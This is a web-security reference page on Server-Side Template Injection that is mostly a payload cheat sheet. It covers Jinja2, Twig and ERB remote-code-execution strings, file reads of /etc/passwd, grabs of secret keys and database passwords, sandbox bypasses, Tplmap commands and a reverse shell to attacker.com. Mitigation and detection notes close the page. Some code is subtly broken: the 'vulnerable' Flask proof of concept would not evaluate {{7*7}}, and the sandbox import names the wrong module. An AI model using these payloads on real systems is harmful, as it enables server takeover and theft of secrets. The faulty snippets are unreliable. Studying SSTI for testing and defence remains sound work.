๐Ÿง  Description

What is SSTI?

Server-Side Template Injection (SSTI) occurs when an attacker injects malicious template directives into server-side template engines. Unlike XSS which targets the client, SSTI allows attackers to execute code on the server, leading to Remote Code Execution (RCE).

SSTI allows attackers to:
  • Execute arbitrary code on the server
  • Read sensitive files
  • Escape sandbox environments
  • Gain complete server access
  • Pivot to internal network

Affected Templates: Jinja2, Twig, FreeMarker, Velocity, Smarty, Blade, ERB, Mustache

๐Ÿท๏ธ Classification

  • Type: Server-Side Template Injection (CWE-1336)
  • OWASP: A03:2021 - Injection
  • Template Engines: Jinja2 (Python), Twig (PHP), ERB (Ruby), Blade (Laravel), etc.

๐ŸŽฏ Attack Surface

  • โœ… User input used in template rendering
  • โœ… Email templates with user data
  • โœ… Markdown/HTML renderers
  • โœ… Search result highlighting
  • โœ… Document generation
  • โœ… Profile fields rendered server-side

โš ๏ธ Preconditions

  • Application uses a template engine
  • User input is directly concatenated into template
  • No sandboxing or sandbox escape possible

๐Ÿ” Detection

Basic Payloads:

  • {{7*7}} - Jinja2/Twig
  • ${7*7} - FreeMarker
  • <%= 7*7 %> - ERB
  • {{1+1}} - Angular

Tool: Tplmap - Automatic SSTI exploitation

๐Ÿ”ง Burp Suite Workflow

  1. Identify template-rendered output
  2. Inject test payload: {{7*7}}
  3. Check if output shows 49
  4. Identify template engine
  5. Escalate to RCE

โš™๏ธ Tool Automation

๐Ÿ”ซ Tplmap

Automatic SSTI exploitation

๐Ÿ›ก๏ธ Burp Suite

Manual testing

โšก nuclei

SSTI templates

# Tplmap
python tplmap.py -u "http://target.com/template?engine=jinja2&inj=0&tpl=*

# nuclei
nuclei -u "http://target.com" -t templates/ssti.yaml

๐Ÿ’ฃ Basic Payloads

๐Ÿงช Detection - Jinja2
{{7*7}}
{{config}}
{{request}}
๐Ÿงช Detection - Twig
{{7*7}}
{{self}}
{{_self}}
๐Ÿงช Detection - ERB
<%= 7*7 %>
<%= system("id") %>
<%= `ls` %>

๐Ÿš€ Advanced Payloads

๐Ÿ”ฅ Jinja2 RCE
{{__import__('os').popen('id').read()}}
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
{% for x in ().__import__('os').popen('id').read() %}a{% endfor %}
๐Ÿ”ฅ Twig RCE
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.getFilter("id")()}}
{{["id"]|map("system")|join}}
๐Ÿ”ฅ ERB RCE
<%= system("whoami") %>
<%= `ls` %>
<%= File.read('/etc/passwd') %>

๐Ÿค– AI-Generated Payloads

๐Ÿ”ง Sandbox Escape
Jinja2: {{cycler.__init__.__globals__.os.popen('id').read()}}
Twig: {{source(_self.env.getTemplate('base').template_source)|default('test')}}

๐ŸŽจ Context-Aware Payloads

๐Ÿ“ Context-Specific
Django: {{settings.SECRET_KEY}}
Flask: {{url_for.__globals__}}
Laravel: {{App::make('config')->get('database.connections.mysql.password')}}

๐Ÿ“ Proof of Concept

# Vulnerable code (Python/Flask/Jinja2)
@app.route("/hello")
def hello():
    name = request.args.get('name', 'World')
    return f"Hello, {name}!"

# Payload: {{7*7}}
# URL: /hello?name={{7*7}}
# Result: Hello, 49!

๐Ÿ“จ Request / Response

GET /greet?name={{__import__('os').popen('id').read()}} HTTP/1.1
Host: target.com

HTTP/1.1 200 OK
uid=1000(user) gid=1000(user) groups=1000(user)

๐Ÿ’ฅ Impact Analysis

Severity: CRITICAL (CVSS 9.8)
  • Remote Code Execution
  • Full server compromise
  • Data exfiltration
  • Internal network access

โšก Advanced Exploitation

File Read via SSTI:

# Jinja2
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}

Reverse Shell:

{{__import__('os').popen('bash -i >& /dev/tcp/attacker.com/4444 0>&1').read()}}

๐Ÿ”— Attack Chains

Chain: SSTI to Server Compromise
  1. Find template-rendered parameter
  2. Inject {{7*7}} to confirm SSTI
  3. Identify engine (Jinja2/Twig)
  4. RCE via __import__ or system
  5. Escalate to full server access

โœ… Test Cases

IDTestPayloadExpected
1Jinja2 Detect{{7*7}}49
2Jinja2 RCE{{__import__('os').popen('id').read()}}uid output
3Twig RCE{{_self.getFilter('id')()}}uid output

๐Ÿ›ก๏ธ Mitigation

โœ… Never allow user input in templates

โœ… Use safe API: pass variables to template, don't concatenate

โœ… Sandbox mode: Enable template engine sandboxing

โœ… Disable dangerous functions: Remove system/exec access

๐Ÿฐ Advanced Mitigation

# Jinja2 - Sandboxed Environment
from jinja2 import Environment, SandboxedEnvironment
env = SandboxedEnvironment()
template = env.from_string(user_input)

๐Ÿ“Š Monitoring & Detection

  • Alert on template syntax in logs
  • Monitor for __import__, system, exec
  • Alert on unusual template engine usage

๐Ÿ” Security Controls

ControlImplementation
Input SanitizationNever use user input in templates
SandboxingUse SandboxedEnvironment
WhitelistOnly allow safe template functions

๐Ÿ”“ Bypass Techniques

Use globals: {{x.__class__.__bases__[0].__subclasses__()}}
Use cycler: {{cycler.__init__.__globals__}}
Use joiner: {{joiner.__init__.__globals__}}

๐Ÿ› ๏ธ Tools & Commands

Tplmap

python tplmap.py -u "URL"

Burp

Intruder + manual testing

๐Ÿ”„ Retest Steps

StepAction
1Remove user input from template
2Re-test with {{7*7}}
3Enable sandbox
4Test RCE payload

โš™๏ธ Detection Logic

  • Static: Check for user input in template rendering
  • Dynamic: Test with {{7*7}} and other payloads

๐Ÿ”Ž Threat-Hunting Notes

IOCs: {{, <%=, ${ in logs, unusual template function calls

๐Ÿ›ก๏ธ Defensive Detection Ideas

Deploy WAF with SSTI rules, implement proper input validation, use template sandboxing.

Back to Web Security